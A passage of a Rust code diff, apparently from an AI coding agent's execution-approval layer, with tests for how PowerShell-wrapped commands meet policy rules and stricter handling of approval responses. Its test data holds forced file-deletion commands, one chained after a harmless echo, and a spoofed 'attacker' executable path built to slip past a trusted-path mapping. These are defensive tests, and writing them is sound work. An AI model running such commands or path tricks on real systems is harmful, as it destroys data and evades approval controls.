TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
"echo blocked".to_string(),
|
||||
@@ -25,31 +109,302 @@ async fn evaluates_powershell_inner_commands_against_prompt_rules() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn evaluates_powershell_inner_commands_against_allow_rules() {
|
||||
assert_exec_approval_requirement_for_command(
|
||||
ExecApprovalRequirementScenario {
|
||||
policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()),
|
||||
command: vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
"echo blocked".to_string(),
|
||||
],
|
||||
approval_policy: AskForApproval::UnlessTrusted,
|
||||
permission_profile: PermissionProfile::read_only(),
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
},
|
||||
ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox: true,
|
||||
proposed_execpolicy_amendment: None,
|
||||
},
|
||||
)
|
||||
async fn inner_allows_for_runtime_resolved_names_remain_sandboxed() {
|
||||
for (script, inner) in [
|
||||
("echo blocked", "echo"),
|
||||
("Get-Content Cargo.toml", "Get-Content"),
|
||||
("Invoke-ProfileHook test", "Invoke-ProfileHook"),
|
||||
("codex-path-helper --version", "codex-path-helper"),
|
||||
] {
|
||||
let command = powershell_command(script);
|
||||
assert_eq!(
|
||||
default_windows_requirement(
|
||||
format!(r#"prefix_rule(pattern=["{inner}"], decision="allow")"#),
|
||||
&command,
|
||||
)
|
||||
.await,
|
||||
skip_outer(&command, false),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn only_exact_outer_rules_can_bypass_runtime_resolution() {
|
||||
let command = powershell_command("Remove-Item target -Force");
|
||||
let executable = starlark_string(&command[0]);
|
||||
let rest = command[1..]
|
||||
.iter()
|
||||
.map(|word| format!(r#""{}""#, starlark_string(word)))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
let mismatched = powershell_command("Remove-Item other -Force");
|
||||
let cases = [
|
||||
(prefix_rule_for(&command[..1], "allow"), Some(false)),
|
||||
(prefix_rule_for(&command, "allow"), Some(true)),
|
||||
(
|
||||
format!(
|
||||
"host_executable(name = \"powershell\", paths = [\"{executable}\"])\n\
|
||||
prefix_rule(pattern=[\"powershell\", {rest}], decision=\"allow\")"
|
||||
),
|
||||
Some(true),
|
||||
),
|
||||
(
|
||||
format!(
|
||||
"prefix_rule(pattern=[[\"{executable}\", \"C:\\\\other\\\\powershell.exe\"], \
|
||||
[\"-NoProfile\", \"-noprofile\"], \"-Command\", \
|
||||
\"Remove-Item target -Force\"], decision=\"allow\")"
|
||||
),
|
||||
Some(true),
|
||||
),
|
||||
(prefix_rule_for(&mismatched, "allow"), None),
|
||||
];
|
||||
|
||||
for (policy_src, bypass_sandbox) in cases {
|
||||
assert_eq!(
|
||||
default_windows_requirement(policy_src, &command).await,
|
||||
bypass_sandbox.map_or_else(
|
||||
|| prompt_outer(&command),
|
||||
|bypass| skip_outer(&command, bypass)
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn full_outer_allow_does_not_bypass_extended_unsupported_wrapper() {
|
||||
use SandboxPermissions::*;
|
||||
use WindowsSandboxLevel::*;
|
||||
|
||||
let command = powershell_command("Get-Content Cargo.toml");
|
||||
let policy_src = prefix_rule_for(&command, "allow");
|
||||
let mut extended = command.clone();
|
||||
extended.push("trailing-runtime-argument".to_string());
|
||||
|
||||
for (profile, level, permissions, prompts) in [
|
||||
(
|
||||
PermissionProfile::read_only(),
|
||||
RestrictedToken,
|
||||
UseDefault,
|
||||
false,
|
||||
),
|
||||
(
|
||||
PermissionProfile::read_only(),
|
||||
RestrictedToken,
|
||||
RequireEscalated,
|
||||
true,
|
||||
),
|
||||
(
|
||||
PermissionProfile::read_only(),
|
||||
RestrictedToken,
|
||||
WithAdditionalPermissions,
|
||||
true,
|
||||
),
|
||||
(PermissionProfile::read_only(), Disabled, UseDefault, true),
|
||||
(
|
||||
PermissionProfile::Disabled,
|
||||
RestrictedToken,
|
||||
UseDefault,
|
||||
false,
|
||||
),
|
||||
] {
|
||||
assert_eq!(
|
||||
windows_requirement(
|
||||
policy_src.clone(),
|
||||
&extended,
|
||||
AskForApproval::UnlessTrusted,
|
||||
profile,
|
||||
level,
|
||||
permissions,
|
||||
)
|
||||
.await,
|
||||
if prompts {
|
||||
prompt_outer(&extended)
|
||||
} else {
|
||||
skip_outer(&extended, false)
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn explicit_inner_and_outer_restrictions_remain_strictest() {
|
||||
let command = powershell_command("Get-Content Cargo.toml");
|
||||
let outer_allow = prefix_rule_for(&command, "allow");
|
||||
let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#;
|
||||
let rendered = render_shlex_command(&command);
|
||||
|
||||
for (inner, decision) in [
|
||||
(true, "prompt"),
|
||||
(true, "forbidden"),
|
||||
(false, "prompt"),
|
||||
(false, "forbidden"),
|
||||
] {
|
||||
let (policy_src, forbidden_prefix) = if inner {
|
||||
(
|
||||
format!(
|
||||
"{outer_allow}\nprefix_rule(pattern=[\"Get-Content\"], decision=\"{decision}\")"
|
||||
),
|
||||
"Get-Content".to_string(),
|
||||
)
|
||||
} else {
|
||||
(
|
||||
format!("{inner_allow}\n{}", prefix_rule_for(&command, decision)),
|
||||
rendered.clone(),
|
||||
)
|
||||
};
|
||||
let expected = if decision == "prompt" {
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: Some(format!("`{rendered}` requires approval by policy")),
|
||||
proposed_execpolicy_amendment: None,
|
||||
}
|
||||
} else {
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{rendered}` rejected: policy forbids commands starting with `{forbidden_prefix}`"
|
||||
),
|
||||
}
|
||||
};
|
||||
assert_eq!(
|
||||
windows_requirement(
|
||||
policy_src,
|
||||
&command,
|
||||
AskForApproval::OnRequest,
|
||||
PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
)
|
||||
.await,
|
||||
expected,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn outer_authority_tracks_permission_deltas_and_missing_managed_sandbox() {
|
||||
use SandboxPermissions::*;
|
||||
use WindowsSandboxLevel::*;
|
||||
|
||||
let command = powershell_command("Get-Content Cargo.toml");
|
||||
let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#.to_string();
|
||||
let denied_read_profile = PermissionProfile::from_runtime_permissions(
|
||||
&FileSystemSandboxPolicy::restricted(vec![FileSystemSandboxEntry {
|
||||
path: FileSystemPath::GlobPattern {
|
||||
pattern: "**/*.env".to_string(),
|
||||
},
|
||||
access: FileSystemAccessMode::Deny,
|
||||
}]),
|
||||
NetworkSandboxPolicy::Restricted,
|
||||
);
|
||||
|
||||
for (profile, level, permissions, prompts) in [
|
||||
(
|
||||
PermissionProfile::read_only(),
|
||||
RestrictedToken,
|
||||
RequireEscalated,
|
||||
true,
|
||||
),
|
||||
(PermissionProfile::read_only(), Disabled, UseDefault, true),
|
||||
(
|
||||
denied_read_profile,
|
||||
RestrictedToken,
|
||||
RequireEscalated,
|
||||
false,
|
||||
),
|
||||
(
|
||||
PermissionProfile::read_only(),
|
||||
RestrictedToken,
|
||||
WithAdditionalPermissions,
|
||||
true,
|
||||
),
|
||||
(
|
||||
PermissionProfile::Disabled,
|
||||
RestrictedToken,
|
||||
RequireEscalated,
|
||||
false,
|
||||
),
|
||||
(
|
||||
PermissionProfile::Disabled,
|
||||
RestrictedToken,
|
||||
WithAdditionalPermissions,
|
||||
false,
|
||||
),
|
||||
(external_profile(), RestrictedToken, UseDefault, false),
|
||||
(external_profile(), RestrictedToken, RequireEscalated, true),
|
||||
(
|
||||
external_profile(),
|
||||
RestrictedToken,
|
||||
WithAdditionalPermissions,
|
||||
true,
|
||||
),
|
||||
] {
|
||||
assert_eq!(
|
||||
windows_requirement(
|
||||
inner_allow.clone(),
|
||||
&command,
|
||||
AskForApproval::OnRequest,
|
||||
profile,
|
||||
level,
|
||||
permissions,
|
||||
)
|
||||
.await,
|
||||
if prompts {
|
||||
prompt_outer(&command)
|
||||
} else {
|
||||
skip_outer(&command, false)
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
let exact_allow = format!("{inner_allow}\n{}", prefix_rule_for(&command, "allow"));
|
||||
for (level, permissions) in [
|
||||
(RestrictedToken, RequireEscalated),
|
||||
(RestrictedToken, WithAdditionalPermissions),
|
||||
(Disabled, UseDefault),
|
||||
] {
|
||||
assert_eq!(
|
||||
windows_requirement(
|
||||
exact_allow.clone(),
|
||||
&command,
|
||||
AskForApproval::OnRequest,
|
||||
PermissionProfile::read_only(),
|
||||
level,
|
||||
permissions,
|
||||
)
|
||||
.await,
|
||||
skip_outer(&command, true),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn namespace_literal_alias_with_equivalent_host_mapping_requires_approval() {
|
||||
let requirement = exec_approval_requirement_for_command(ExecApprovalRequirementScenario {
|
||||
policy_src: Some(
|
||||
r#"
|
||||
prefix_rule(pattern = ["git.exe."], decision = "allow")
|
||||
host_executable(name = "git", paths = ["C:\\trusted\\git.exe"])
|
||||
"#
|
||||
.to_string(),
|
||||
),
|
||||
command: vec![
|
||||
r"\\?\C:\attacker\git.exe.".to_string(),
|
||||
"status".to_string(),
|
||||
],
|
||||
approval_policy: AskForApproval::UnlessTrusted,
|
||||
permission_profile: PermissionProfile::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
})
|
||||
.await;
|
||||
|
||||
assert!(
|
||||
matches!(&requirement, ExecApprovalRequirement::NeedsApproval { .. }),
|
||||
"namespace executable outside the mapped paths must require approval: {requirement:?}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn commands_for_exec_policy_parses_powershell_shell_wrapper() {
|
||||
fn commands_for_exec_policy_keeps_bare_powershell_alias_opaque() {
|
||||
let command = vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
@@ -58,11 +413,11 @@ fn commands_for_exec_policy_parses_powershell_shell_wrapper() {
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
commands_for_exec_policy(&command, ExecPolicyInputSource::Configured),
|
||||
commands_for_exec_policy(&command),
|
||||
ExecPolicyCommands {
|
||||
commands: vec![vec!["echo".to_string(), "blocked".to_string()]],
|
||||
commands: vec![command],
|
||||
used_complex_parsing: false,
|
||||
command_origin: ExecPolicyCommandOrigin::PowerShell,
|
||||
command_origin: ExecPolicyCommandOrigin::Generic,
|
||||
}
|
||||
);
|
||||
}
|
||||
@@ -173,21 +528,12 @@ fn writable_windows_policy_without_sandbox_backend_still_requires_approval() {
|
||||
|
||||
#[tokio::test]
|
||||
async fn unmatched_dangerous_powershell_inner_commands_require_approval() {
|
||||
let inner_command = vec![
|
||||
"Remove-Item".to_string(),
|
||||
"test".to_string(),
|
||||
"-Force".to_string(),
|
||||
];
|
||||
let command = powershell_command("Remove-Item test -Force");
|
||||
|
||||
assert_exec_approval_requirement_for_command(
|
||||
ExecApprovalRequirementScenario {
|
||||
policy_src: None,
|
||||
command: vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
"Remove-Item test -Force".to_string(),
|
||||
],
|
||||
command: command.clone(),
|
||||
approval_policy: AskForApproval::OnRequest,
|
||||
permission_profile: PermissionProfile::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
@@ -195,7 +541,28 @@ async fn unmatched_dangerous_powershell_inner_commands_require_approval() {
|
||||
},
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(inner_command)),
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn mixed_powershell_inner_commands_use_the_strictest_decision() {
|
||||
let command = powershell_command("echo safe; Remove-Item target -Force");
|
||||
|
||||
assert_exec_approval_requirement_for_command(
|
||||
ExecApprovalRequirementScenario {
|
||||
policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()),
|
||||
command: command.clone(),
|
||||
approval_policy: AskForApproval::OnRequest,
|
||||
permission_profile: PermissionProfile::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
},
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
|
||||
@@ -31,6 +31,7 @@ pub use codex_thread::TryStartTurnIfIdleError;
|
||||
pub use codex_thread::TryStartTurnIfIdleRejectionReason;
|
||||
pub use session::turn_context::TurnContext;
|
||||
mod agent;
|
||||
mod agent_communication;
|
||||
mod attestation;
|
||||
mod codex_delegate;
|
||||
mod command_canonicalization;
|
||||
|
||||
@@ -285,6 +285,7 @@ pub async fn inter_agent_communication(
|
||||
sess.input_queue
|
||||
.enqueue_mailbox_communication(communication)
|
||||
.await;
|
||||
crate::agent_communication::emit_agent_communication_receive(&sub_id);
|
||||
if trigger_turn {
|
||||
sess.maybe_start_turn_for_pending_work_with_sub_id(sub_id)
|
||||
.await;
|
||||
@@ -366,6 +367,19 @@ pub async fn exec_approval(
|
||||
turn_id: Option<String>,
|
||||
decision: ReviewDecision,
|
||||
) {
|
||||
let Some(pending_approval) = sess.take_pending_exec_approval(&approval_id).await else {
|
||||
warn!("No pending exec approval found for call_id: {approval_id}");
|
||||
return;
|
||||
};
|
||||
let decision = if pending_approval.accepts(&decision) {
|
||||
decision
|
||||
} else {
|
||||
warn!(
|
||||
approval_id,
|
||||
"rejecting decision that was not offered for approval request"
|
||||
);
|
||||
ReviewDecision::Denied
|
||||
};
|
||||
let event_turn_id = turn_id.unwrap_or_else(|| approval_id.clone());
|
||||
if let ReviewDecision::ApprovedExecpolicyAmendment {
|
||||
proposed_execpolicy_amendment,
|
||||
@@ -398,16 +412,29 @@ pub async fn exec_approval(
|
||||
ReviewDecision::Abort => {
|
||||
sess.interrupt_task().await;
|
||||
}
|
||||
other => sess.notify_approval(&approval_id, other).await,
|
||||
other => pending_approval.send(other),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn patch_approval(sess: &Arc<Session>, id: String, decision: ReviewDecision) {
|
||||
let Some(pending_approval) = sess.take_pending_patch_approval(&id).await else {
|
||||
warn!("No pending patch approval found for call_id: {id}");
|
||||
return;
|
||||
};
|
||||
let decision = if pending_approval.accepts(&decision) {
|
||||
decision
|
||||
} else {
|
||||
warn!(
|
||||
approval_id = id,
|
||||
"rejecting decision that was not offered for patch approval request"
|
||||
);
|
||||
ReviewDecision::Denied
|
||||
};
|
||||
match decision {
|
||||
ReviewDecision::Abort => {
|
||||
sess.interrupt_task().await;
|
||||
}
|
||||
other => sess.notify_approval(&id, other).await,
|
||||
other => pending_approval.send(other),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -14,6 +14,8 @@ use crate::agent::AgentControl;
|
||||
use crate::agent::AgentStatus;
|
||||
use crate::agent::agent_status_from_event;
|
||||
use crate::agent::status::is_final;
|
||||
use crate::agent_communication::AgentCommunicationContext;
|
||||
use crate::agent_communication::AgentCommunicationKind;
|
||||
use crate::attestation::AttestationProvider;
|
||||
use crate::build_available_skills;
|
||||
use crate::compact;
|
||||
@@ -92,7 +94,6 @@ use codex_protocol::approvals::NetworkPolicyRuleAction;
|
||||
use codex_protocol::config_types::ApprovalsReviewer;
|
||||
use codex_protocol::config_types::AutoCompactTokenLimitScope;
|
||||
use codex_protocol::config_types::ModeKind;
|
||||
use codex_protocol::config_types::MultiAgentMode;
|
||||
use codex_protocol::config_types::SERVICE_TIER_DEFAULT_REQUEST_VALUE;
|
||||
use codex_protocol::config_types::Settings;
|
||||
use codex_protocol::config_types::WebSearchMode;
|
||||
@@ -354,6 +355,7 @@ use codex_protocol::protocol::DeprecationNoticeEvent;
|
||||
use codex_protocol::protocol::ErrorEvent;
|
||||
use codex_protocol::protocol::Event;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::ExecApprovalRequestEvent;
|
||||
use codex_protocol::protocol::InitialHistory;
|
||||
use codex_protocol::protocol::McpServerRefreshConfig;
|
||||
@@ -979,6 +981,28 @@ fn push_prompt_fragment(
|
||||
}
|
||||
}
|
||||
|
||||
fn accepted_command_approval_decisions(
|
||||
mut available_decisions: Vec<ReviewDecision>,
|
||||
proposed_network_policy_amendments: Option<&[NetworkPolicyAmendment]>,
|
||||
) -> Vec<ReviewDecision> {
|
||||
// Preserve the existing API path for a client to persist a restrictive
|
||||
// network deny without advertising that hidden choice in normal UX.
|
||||
// Only the exact server-proposed deny payload is accepted.
|
||||
available_decisions.extend(
|
||||
proposed_network_policy_amendments
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.filter(|amendment| amendment.action == NetworkPolicyRuleAction::Deny)
|
||||
.cloned()
|
||||
.map(
|
||||
|network_policy_amendment| ReviewDecision::NetworkPolicyAmendment {
|
||||
network_policy_amendment,
|
||||
},
|
||||
),
|
||||
);
|
||||
available_decisions
|
||||
}
|
||||
|
||||
impl Session {
|
||||
pub(crate) async fn app_server_client_metadata(&self) -> AppServerClientMetadata {
|
||||
let state = self.state.lock().await;
|
||||
@@ -1867,10 +1891,12 @@ impl Session {
|
||||
message,
|
||||
/*trigger_turn*/ false,
|
||||
);
|
||||
let context =
|
||||
AgentCommunicationContext::new(AgentCommunicationKind::Result, self.thread_id);
|
||||
if let Err(err) = self
|
||||
.services
|
||||
.agent_control
|
||||
.send_inter_agent_communication(parent_thread_id, communication)
|
||||
.send_inter_agent_communication(parent_thread_id, communication, context)
|
||||
.await
|
||||
{
|
||||
debug!("failed to notify parent thread {parent_thread_id}: {err}");
|
||||
@@ -2104,13 +2130,16 @@ impl Session {
|
||||
|
||||
/// Emit an exec approval request event and await the user's decision.
|
||||
///
|
||||
/// The request is keyed by `call_id` + `approval_id` so matching responses
|
||||
/// are delivered to the correct in-flight turn. If the pending approval is
|
||||
/// cleared before a response arrives, treat it as an abort so interrupted
|
||||
/// turns do not continue on a synthetic denial.
|
||||
/// `call_id` is the stable command-item identity. A callback-specific
|
||||
/// `approval_id`, when present, is the response-routing identity; otherwise
|
||||
/// `call_id` is used for both. Each callback-specific ID must be unique so a
|
||||
/// delayed or replayed response cannot resolve a later prompt for the same
|
||||
/// item. If the pending approval is cleared before a response arrives,
|
||||
/// treat it as an abort so interrupted turns do not continue on a synthetic
|
||||
/// denial.
|
||||
///
|
||||
/// Note that if `available_decisions` is `None`, then the other fields will
|
||||
/// be used to derive the available decisions via
|
||||
/// If `available_decisions` is `None`, callback-scoped requests use the
|
||||
/// one-shot approve/abort set; other requests derive their decisions via
|
||||
/// [ExecApprovalRequestEvent::default_available_decisions].
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
#[expect(
|
||||
@@ -2122,6 +2151,7 @@ impl Session {
|
||||
turn_context: &TurnContext,
|
||||
call_id: String,
|
||||
approval_id: Option<String>,
|
||||
approval_purpose: Option<ExecApprovalPurpose>,
|
||||
environment_id: Option<String>,
|
||||
command: Vec<String>,
|
||||
cwd: AbsolutePathBuf,
|
||||
@@ -2131,26 +2161,10 @@ impl Session {
|
||||
additional_permissions: Option<AdditionalPermissionProfile>,
|
||||
available_decisions: Option<Vec<ReviewDecision>>,
|
||||
) -> ReviewDecision {
|
||||
// command-level approvals use `call_id`.
|
||||
// `approval_id` is only present for subcommand callbacks (execve intercept)
|
||||
// Cacheable single-prompt approvals use `call_id`. Callback-scoped
|
||||
// approvals carry a fresh opaque ID for response routing while
|
||||
// `call_id` remains the stable command-item identity.
|
||||
let effective_approval_id = approval_id.clone().unwrap_or_else(|| call_id.clone());
|
||||
// Add the tx_approve callback to the map before sending the request.
|
||||
let (tx_approve, rx_approve) = oneshot::channel();
|
||||
let prev_entry = {
|
||||
let mut active = self.active_turn.lock().await;
|
||||
match active.as_mut() {
|
||||
Some(at) => {
|
||||
let mut ts = at.turn_state.lock().await;
|
||||
ts.insert_pending_approval(effective_approval_id.clone(), tx_approve)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
};
|
||||
if prev_entry.is_some() {
|
||||
warn!("Overwriting existing pending approval for call_id: {effective_approval_id}");
|
||||
}
|
||||
|
||||
let parsed_cmd = parse_command(&command);
|
||||
let proposed_network_policy_amendments = network_approval_context.as_ref().map(|context| {
|
||||
vec![
|
||||
NetworkPolicyAmendment {
|
||||
@@ -2164,16 +2178,52 @@ impl Session {
|
||||
]
|
||||
});
|
||||
let available_decisions = available_decisions.unwrap_or_else(|| {
|
||||
ExecApprovalRequestEvent::default_available_decisions(
|
||||
network_approval_context.as_ref(),
|
||||
proposed_execpolicy_amendment.as_ref(),
|
||||
proposed_network_policy_amendments.as_deref(),
|
||||
additional_permissions.as_ref(),
|
||||
)
|
||||
if ExecApprovalRequestEvent::is_callback_scoped(
|
||||
approval_id.as_deref(),
|
||||
approval_purpose,
|
||||
) {
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
} else {
|
||||
ExecApprovalRequestEvent::default_available_decisions(
|
||||
network_approval_context.as_ref(),
|
||||
proposed_execpolicy_amendment.as_ref(),
|
||||
proposed_network_policy_amendments.as_deref(),
|
||||
additional_permissions.as_ref(),
|
||||
)
|
||||
}
|
||||
});
|
||||
let accepted_decisions = accepted_command_approval_decisions(
|
||||
available_decisions.clone(),
|
||||
proposed_network_policy_amendments.as_deref(),
|
||||
);
|
||||
// Add the tx_approve callback to the map before sending the request.
|
||||
let (tx_approve, rx_approve) = oneshot::channel();
|
||||
let insert_result = {
|
||||
let mut active = self.active_turn.lock().await;
|
||||
match active.as_mut() {
|
||||
Some(at) => {
|
||||
let mut ts = at.turn_state.lock().await;
|
||||
ts.insert_pending_approval(
|
||||
effective_approval_id.clone(),
|
||||
tx_approve,
|
||||
crate::state::PendingApprovalKind::Exec,
|
||||
accepted_decisions,
|
||||
)
|
||||
}
|
||||
None => return ReviewDecision::Abort,
|
||||
}
|
||||
};
|
||||
if let Err(duplicate_approval) = insert_result {
|
||||
warn!("Rejecting duplicate pending exec approval for call_id: {effective_approval_id}");
|
||||
duplicate_approval.send(ReviewDecision::Abort);
|
||||
return rx_approve.await.unwrap_or(ReviewDecision::Abort);
|
||||
}
|
||||
|
||||
let parsed_cmd = parse_command(&command);
|
||||
let event = EventMsg::ExecApprovalRequest(ExecApprovalRequestEvent {
|
||||
call_id,
|
||||
approval_id,
|
||||
approval_purpose,
|
||||
turn_id: turn_context.sub_id.clone(),
|
||||
environment_id,
|
||||
started_at_ms: now_unix_timestamp_ms(),
|
||||
@@ -2206,18 +2256,28 @@ impl Session {
|
||||
// Add the tx_approve callback to the map before sending the request.
|
||||
let (tx_approve, rx_approve) = oneshot::channel();
|
||||
let approval_id = call_id.clone();
|
||||
let prev_entry = {
|
||||
let insert_result = {
|
||||
let mut active = self.active_turn.lock().await;
|
||||
match active.as_mut() {
|
||||
Some(at) => {
|
||||
let mut ts = at.turn_state.lock().await;
|
||||
ts.insert_pending_approval(approval_id.clone(), tx_approve)
|
||||
ts.insert_pending_approval(
|
||||
approval_id.clone(),
|
||||
tx_approve,
|
||||
crate::state::PendingApprovalKind::Patch,
|
||||
vec![ReviewDecision::Approved, ReviewDecision::ApprovedForSession],
|
||||
)
|
||||
}
|
||||
None => {
|
||||
tx_approve.send(ReviewDecision::Abort).ok();
|
||||
return rx_approve;
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
};
|
||||
if prev_entry.is_some() {
|
||||
warn!("Overwriting existing pending approval for call_id: {approval_id}");
|
||||
if let Err(duplicate_approval) = insert_result {
|
||||
warn!("Rejecting duplicate pending patch approval for call_id: {approval_id}");
|
||||
duplicate_approval.send(ReviewDecision::Abort);
|
||||
return rx_approve;
|
||||
}
|
||||
|
||||
let event = EventMsg::ApplyPatchApprovalRequest(ApplyPatchApprovalRequestEvent {
|
||||
@@ -2688,23 +2748,59 @@ impl Session {
|
||||
clippy::await_holding_invalid_type,
|
||||
reason = "active turn checks and turn state updates must remain atomic"
|
||||
)]
|
||||
pub async fn notify_approval(&self, approval_id: &str, decision: ReviewDecision) {
|
||||
let entry = {
|
||||
async fn take_pending_approval(
|
||||
&self,
|
||||
approval_id: &str,
|
||||
kind: crate::state::PendingApprovalKind,
|
||||
) -> Option<crate::state::PendingApproval> {
|
||||
{
|
||||
let mut active = self.active_turn.lock().await;
|
||||
match active.as_mut() {
|
||||
Some(at) => {
|
||||
let mut ts = at.turn_state.lock().await;
|
||||
ts.remove_pending_approval(approval_id)
|
||||
ts.remove_pending_approval(approval_id, kind)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn take_pending_exec_approval(
|
||||
&self,
|
||||
approval_id: &str,
|
||||
) -> Option<crate::state::PendingApproval> {
|
||||
self.take_pending_approval(approval_id, crate::state::PendingApprovalKind::Exec)
|
||||
.await
|
||||
}
|
||||
|
||||
pub(crate) async fn take_pending_patch_approval(
|
||||
&self,
|
||||
approval_id: &str,
|
||||
) -> Option<crate::state::PendingApproval> {
|
||||
self.take_pending_approval(approval_id, crate::state::PendingApprovalKind::Patch)
|
||||
.await
|
||||
}
|
||||
|
||||
pub async fn notify_exec_approval(&self, approval_id: &str, decision: ReviewDecision) {
|
||||
let entry = self.take_pending_exec_approval(approval_id).await;
|
||||
match entry {
|
||||
Some(tx_approve) => {
|
||||
tx_approve.send(decision).ok();
|
||||
Some(pending_approval) => {
|
||||
pending_approval.send(decision);
|
||||
}
|
||||
None => {
|
||||
warn!("No pending approval found for call_id: {approval_id}");
|
||||
warn!("No pending exec approval found for call_id: {approval_id}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn notify_patch_approval(&self, approval_id: &str, decision: ReviewDecision) {
|
||||
let entry = self.take_pending_patch_approval(approval_id).await;
|
||||
match entry {
|
||||
Some(pending_approval) => {
|
||||
pending_approval.send(decision);
|
||||
}
|
||||
None => {
|
||||
warn!("No pending patch approval found for call_id: {approval_id}");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3426,16 +3522,10 @@ impl Session {
|
||||
{
|
||||
items.push(usage_hint_message);
|
||||
}
|
||||
match multi_agents::effective_multi_agent_mode(turn_context) {
|
||||
Some(
|
||||
multi_agent_mode
|
||||
@ (MultiAgentMode::ExplicitRequestOnly | MultiAgentMode::Proactive),
|
||||
) => {
|
||||
items.push(ContextualUserFragment::into(
|
||||
MultiAgentModeInstructions::new(multi_agent_mode),
|
||||
));
|
||||
}
|
||||
Some(MultiAgentMode::None) | None => {}
|
||||
if let Some(multi_agent_mode) = multi_agents::effective_multi_agent_mode(turn_context) {
|
||||
items.push(ContextualUserFragment::into(
|
||||
MultiAgentModeInstructions::new(multi_agent_mode),
|
||||
));
|
||||
}
|
||||
if let Some(contextual_user_message) =
|
||||
crate::context_manager::updates::build_contextual_user_message(contextual_user_sections)
|
||||
|
||||
@@ -41,9 +41,18 @@ pub(crate) fn effective_multi_agent_mode(turn_context: &TurnContext) -> Option<M
|
||||
return None;
|
||||
}
|
||||
|
||||
let multi_agent_mode = match turn_context.effective_reasoning_effort() {
|
||||
Some(ReasoningEffort::Ultra) => MultiAgentMode::Proactive,
|
||||
_ => MultiAgentMode::ExplicitRequestOnly,
|
||||
// A configured hint, including an empty string, defines a custom policy instead of an
|
||||
// effort-derived built-in policy.
|
||||
let multi_agent_mode = match &turn_context
|
||||
.config
|
||||
.multi_agent_v2
|
||||
.multi_agent_mode_hint_text
|
||||
{
|
||||
Some(hint_text) => MultiAgentMode::Custom(hint_text.clone()),
|
||||
None => match turn_context.effective_reasoning_effort() {
|
||||
Some(ReasoningEffort::Ultra) => MultiAgentMode::Proactive,
|
||||
_ => MultiAgentMode::ExplicitRequestOnly,
|
||||
},
|
||||
};
|
||||
|
||||
match &turn_context.session_source {
|
||||
|
||||
@@ -755,6 +755,330 @@ fn validated_network_policy_amendment_host_rejects_mismatch() {
|
||||
assert!(message.contains("does not match approved host"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn accepted_command_decisions_add_only_exact_proposed_network_denials() {
|
||||
let offered_allow = NetworkPolicyAmendment {
|
||||
host: "example.com".to_string(),
|
||||
action: NetworkPolicyRuleAction::Allow,
|
||||
};
|
||||
let proposed_deny = NetworkPolicyAmendment {
|
||||
host: "example.com".to_string(),
|
||||
action: NetworkPolicyRuleAction::Deny,
|
||||
};
|
||||
let available = vec![
|
||||
ReviewDecision::Approved,
|
||||
ReviewDecision::NetworkPolicyAmendment {
|
||||
network_policy_amendment: offered_allow.clone(),
|
||||
},
|
||||
ReviewDecision::Abort,
|
||||
];
|
||||
|
||||
let accepted = accepted_command_approval_decisions(
|
||||
available.clone(),
|
||||
Some(&[offered_allow, proposed_deny.clone()]),
|
||||
);
|
||||
|
||||
assert_eq!(&accepted[..available.len()], available.as_slice());
|
||||
assert_eq!(
|
||||
accepted.last(),
